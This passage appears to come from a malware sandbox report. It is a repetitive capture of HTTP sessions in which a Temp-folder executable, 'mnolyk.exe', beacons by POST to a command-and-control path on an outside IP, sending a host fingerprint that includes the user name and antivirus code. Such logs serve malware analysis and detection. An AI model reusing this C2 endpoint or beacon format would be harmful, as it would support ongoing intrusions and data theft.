525	192.168.2.5	50215	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:10.669292927 CET	725	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:10.734399080 CET	725	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
526	192.168.2.5	50216	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:10.901300907 CET	726	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:10.965966940 CET	726	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
527	192.168.2.5	50217	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:11.137962103 CET	727	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:11.204516888 CET	727	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
528	192.168.2.5	50218	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:11.381608963 CET	728	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:11.446054935 CET	728	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
529	192.168.2.5	50219	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:11.621916056 CET	729	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:11.687207937 CET	729	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.5	49743	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:53.921247005 CET	254	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:53.985326052 CET	254	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
530	192.168.2.5	50220	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:11.858797073 CET	730	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:11.924299955 CET	730	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
531	192.168.2.5	50221	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:12.104837894 CET	731	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:12.170964956 CET	731	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
532	192.168.2.5	50222	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:12.337101936 CET	732	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:12.400702000 CET	732	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
533	192.168.2.5	50223	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:12.572504044 CET	733	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:12.636516094 CET	733	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
534	192.168.2.5	50224	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:12.834481955 CET	734	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:12.900197983 CET	734	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
535	192.168.2.5	50225	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:13.073060989 CET	735	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:13.140642881 CET	735	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
536	192.168.2.5	50226	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:13.307960033 CET	736	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:13.373641014 CET	736	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
537	192.168.2.5	50227	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:13.545015097 CET	737	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:13.608417034 CET	737	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
538	192.168.2.5	50228	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:13.781549931 CET	738	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:13.847825050 CET	738	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
539	192.168.2.5	50229	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:14.024749994 CET	739	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:14.089824915 CET	739	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.5	49744	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:57.374562025 CET	255	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:57.440777063 CET	255	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
540	192.168.2.5	50230	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:14.260159016 CET	740	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:14.326316118 CET	740	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
541	192.168.2.5	50231	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:14.506548882 CET	741	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:14.571222067 CET	741	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
542	192.168.2.5	50232	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:14.756016016 CET	742	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:14.823223114 CET	742	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
543	192.168.2.5	50233	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:15.000211954 CET	743	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:15.083638906 CET	743	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
544	192.168.2.5	50234	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:15.265930891 CET	744	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
